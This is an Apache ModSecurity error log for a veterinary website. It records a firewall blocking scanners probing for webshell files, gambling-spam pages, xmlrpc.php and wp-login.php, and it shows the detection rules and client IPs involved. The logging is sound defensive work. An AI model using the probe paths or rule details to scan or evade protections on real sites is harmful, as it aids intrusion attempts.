[Mon Feb 23 14:20:53.287184 2026] [:error] [pid 39639:tid 39644] [client 43.157.181.189:57472] [client 43.157.181.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZvxxRpFkMoMi8uTUUNNNwAAAkE"]
[Mon Feb 23 16:00:18.508886 2026] [:error] [pid 25380:tid 25382] [client 104.28.203.58:35043] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aZwJEqKrc8yFQ8fy78rVUQAAAMA"]
[Mon Feb 23 16:00:18.845345 2026] [:error] [pid 39640:tid 39685] [client 104.28.203.58:35044] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/style.php"] [unique_id "aZwJEtsK--eVCgzvvuesEAAAAo8"]
[Mon Feb 23 16:00:54.449709 2026] [:error] [pid 39538:tid 39551] [client 51.75.116.156:33830] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZwJNi4Zk8-cQOG3ZnpP6AAAAYk"]
[Mon Feb 23 16:01:00.274893 2026] [:error] [pid 39540:tid 39592] [client 51.75.116.156:56480] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZwJPLsgm9aTWhlRScJgoQAAAdc"]
[Mon Feb 23 16:01:05.534633 2026] [:error] [pid 39540:tid 39579] [client 51.75.116.156:56492] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZwJQbsgm9aTWhlRScJg7wAAAco"]
[Mon Feb 23 16:01:10.985713 2026] [:error] [pid 39640:tid 39679] [client 51.75.116.156:56022] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZwJRtsK--eVCgzvvuesNgAAAok"]
[Mon Feb 23 16:01:15.044693 2026] [:error] [pid 25380:tid 25401] [client 51.75.116.156:56034] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZwJS6Krc8yFQ8fy78rV0wAAANM"]
[Mon Feb 23 16:01:18.547455 2026] [:error] [pid 39504:tid 39526] [client 51.75.116.156:58256] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZwJTnLcHpOlI9gwwJoCNAAAAVQ"]
[Mon Feb 23 16:01:22.425648 2026] [:error] [pid 39504:tid 39517] [client 51.75.116.156:58264] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZwJUnLcHpOlI9gwwJoCNQAAAUs"]
[Mon Feb 23 16:01:25.556844 2026] [:error] [pid 39540:tid 39584] [client 51.75.116.156:58276] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZwJVbsgm9aTWhlRScJhaAAAAc8"]
[Mon Feb 23 16:01:28.980426 2026] [:error] [pid 25380:tid 25403] [client 51.75.116.156:53172] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZwJWKKrc8yFQ8fy78rWOQAAANU"]
[Mon Feb 23 16:01:33.337519 2026] [:error] [pid 39640:tid 39692] [client 51.75.116.156:53186] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZwJXdsK--eVCgzvvuesdAAAApY"]
[Mon Feb 23 16:01:36.553549 2026] [:error] [pid 39540:tid 39572] [client 51.75.116.156:53194] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZwJYLsgm9aTWhlRScJhjgAAAcM"]
[Mon Feb 23 16:01:40.343288 2026] [:error] [pid 39639:tid 39647] [client 51.75.116.156:40286] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZwJZBpFkMoMi8uTUUNhOAAAAkQ"]
[Mon Feb 23 16:01:43.200160 2026] [:error] [pid 39639:tid 39643] [client 51.75.116.156:40300] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZwJZxpFkMoMi8uTUUNhOwAAAkA"]
[Mon Feb 23 16:01:46.876402 2026] [:error] [pid 25380:tid 25393] [client 51.75.116.156:36552] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZwJaqKrc8yFQ8fy78rWXQAAAMs"]
[Mon Feb 23 16:02:37.057251 2026] [:error] [pid 39639:tid 39664] [client 51.75.116.156:36558] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZwJnRpFkMoMi8uTUUNhbgAAAlU"]
[Mon Feb 23 16:02:39.867730 2026] [:error] [pid 25380:tid 25389] [client 51.75.116.156:46262] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZwJn6Krc8yFQ8fy78rWqAAAAMc"]
[Mon Feb 23 16:02:42.827833 2026] [:error] [pid 39540:tid 39583] [client 51.75.116.156:46266] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZwJorsgm9aTWhlRScJiCQAAAc4"]
[Mon Feb 23 16:02:45.386929 2026] [:error] [pid 25294:tid 25351] [client 51.75.116.156:46270] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZwJpSRCFB3CqIo_jfaxxAAAAEk"]
[Mon Feb 23 16:02:48.292223 2026] [:error] [pid 39538:tid 39554] [client 51.75.116.156:51516] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZwJqC4Zk8-cQOG3ZnpQEQAAAYw"]
[Mon Feb 23 16:02:50.664196 2026] [:error] [pid 39640:tid 39685] [client 51.75.116.156:51524] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZwJqtsK--eVCgzvvuesxgAAAo8"]
[Mon Feb 23 16:02:53.503947 2026] [:error] [pid 39639:tid 39645] [client 51.75.116.156:51540] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZwJrRpFkMoMi8uTUUNhhAAAAkI"]
[Mon Feb 23 16:02:55.985766 2026] [:error] [pid 25380:tid 25394] [client 51.75.116.156:51542] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZwJr6Krc8yFQ8fy78rWuQAAAMw"]
[Mon Feb 23 16:02:58.445287 2026] [:error] [pid 39640:tid 39675] [client 51.75.116.156:33286] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZwJstsK--eVCgzvvues4QAAAoU"]
[Mon Feb 23 16:03:00.985786 2026] [:error] [pid 25380:tid 25400] [client 51.75.116.156:33290] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZwJtKKrc8yFQ8fy78rWwgAAANI"]
[Mon Feb 23 16:03:03.632095 2026] [:error] [pid 39540:tid 39570] [client 51.75.116.156:33294] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZwJt7sgm9aTWhlRScJiOQAAAcE"]
[Mon Feb 23 16:03:06.250789 2026] [:error] [pid 39540:tid 39587] [client 51.75.116.156:33296] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZwJursgm9aTWhlRScJiPwAAAdI"]
[Mon Feb 23 16:03:08.804620 2026] [:error] [pid 39639:tid 39656] [client 51.75.116.156:43816] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZwJvBpFkMoMi8uTUUNhjwAAAk0"]
[Mon Feb 23 16:03:11.414690 2026] [:error] [pid 39640:tid 39680] [client 51.75.116.156:43822] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZwJv9sK--eVCgzvvues9AAAAoo"]
[Mon Feb 23 16:03:13.888334 2026] [:error] [pid 39504:tid 39515] [client 51.75.116.156:43832] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZwJwXLcHpOlI9gwwJoCZwAAAUk"]
[Mon Feb 23 16:03:16.369309 2026] [:error] [pid 39540:tid 39585] [client 51.75.116.156:43842] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZwJxLsgm9aTWhlRScJiSwAAAdA"]
[Mon Feb 23 16:03:18.836369 2026] [:error] [pid 25380:tid 25403] [client 51.75.116.156:58104] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZwJxqKrc8yFQ8fy78rWzgAAANU"]
[Mon Feb 23 16:03:21.315304 2026] [:error] [pid 29909:tid 29914] [client 51.75.116.156:58108] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZwJyT9oc2QzltksUk7IxQAAAQM"]
[Mon Feb 23 16:03:23.705290 2026] [:error] [pid 25294:tid 25370] [client 51.75.116.156:58122] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZwJyyRCFB3CqIo_jfaxzAAAAFI"]
[Mon Feb 23 16:03:26.008668 2026] [:error] [pid 39538:tid 39566] [client 51.75.116.156:58128] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZwJzi4Zk8-cQOG3ZnpQGgAAAZg"]
[Mon Feb 23 16:03:28.398643 2026] [:error] [pid 39538:tid 39560] [client 51.75.116.156:55244] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZwJ0C4Zk8-cQOG3ZnpQHgAAAZI"]
[Mon Feb 23 16:03:30.854408 2026] [:error] [pid 25293:tid 25305] [client 51.75.116.156:55252] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZwJ0uL9XfBf66iHi_efPgAAAAY"]
[Mon Feb 23 16:04:19.396061 2026] [:error] [pid 39640:tid 39675] [client 51.75.116.156:55260] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZwKA9sK--eVCgzvvuetaQAAAoU"]
[Mon Feb 23 16:04:22.340552 2026] [:error] [pid 39538:tid 39543] [client 51.75.116.156:52952] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZwKBi4Zk8-cQOG3ZnpQMwAAAYE"]
[Mon Feb 23 16:04:27.325631 2026] [:error] [pid 25380:tid 25399] [client 51.75.116.156:52958] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZwKC6Krc8yFQ8fy78rXBAAAANE"]
[Mon Feb 23 16:04:30.785245 2026] [:error] [pid 39540:tid 39569] [client 51.75.116.156:59116] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZwKDrsgm9aTWhlRScJixAAAAcA"]
[Mon Feb 23 16:04:34.063278 2026] [:error] [pid 39538:tid 39549] [client 51.75.116.156:59132] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZwKEi4Zk8-cQOG3ZnpQNgAAAYc"]
[Mon Feb 23 16:04:37.209857 2026] [:error] [pid 39540:tid 39571] [client 51.75.116.156:34074] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZwKFbsgm9aTWhlRScJjGwAAAcI"]
[Mon Feb 23 16:04:41.342938 2026] [:error] [pid 39640:tid 39681] [client 51.75.116.156:34076] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZwKGdsK--eVCgzvvuetcAAAAos"]
[Mon Feb 23 16:04:44.727225 2026] [:error] [pid 39639:tid 39662] [client 51.75.116.156:34088] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZwKHBpFkMoMi8uTUUNh8gAAAlM"]
[Mon Feb 23 16:04:52.553721 2026] [:error] [pid 25380:tid 25406] [client 51.75.116.156:46058] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZwKJKKrc8yFQ8fy78rXTgAAANg"]
[Mon Feb 23 18:14:22.523931 2026] [:error] [pid 39639:tid 39651] [client 170.106.35.187:50718] [client 170.106.35.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZwofhpFkMoMi8uTUUOORwAAAkg"]
[Mon Feb 23 21:03:41.724913 2026] [:error] [pid 39639:tid 39654] [client 43.133.187.11:59550] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZxQLRpFkMoMi8uTUUPeTAAAAks"]
[Mon Feb 23 21:34:29.925269 2026] [ssl:error] [pid 25294:tid 25372] [client 3.151.194.164:32842] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Mon Feb 23 21:35:39.141114 2026] [ssl:error] [pid 25294:tid 25354] [client 3.151.194.164:56669] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Mon Feb 23 23:09:29.851413 2026] [:error] [pid 39538:tid 39556] [client 54.36.108.162:48288] [client 54.36.108.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.108.162, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZxtqS4Zk8-cQOG3ZnqAwQAAAY4"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Mon Feb 23 23:39:35.029690 2026] [:error] [pid 29909:tid 29923] [client 74.208.238.17:40550] [client 74.208.238.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.238.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZx0tz9oc2QzltksUk7okwAAAQw"]
[Mon Feb 23 23:41:24.548204 2026] [:error] [pid 39540:tid 39574] [client 74.208.118.55:56162] [client 74.208.118.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.118.55, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZx1JLsgm9aTWhlRScLZmwAAAcU"]
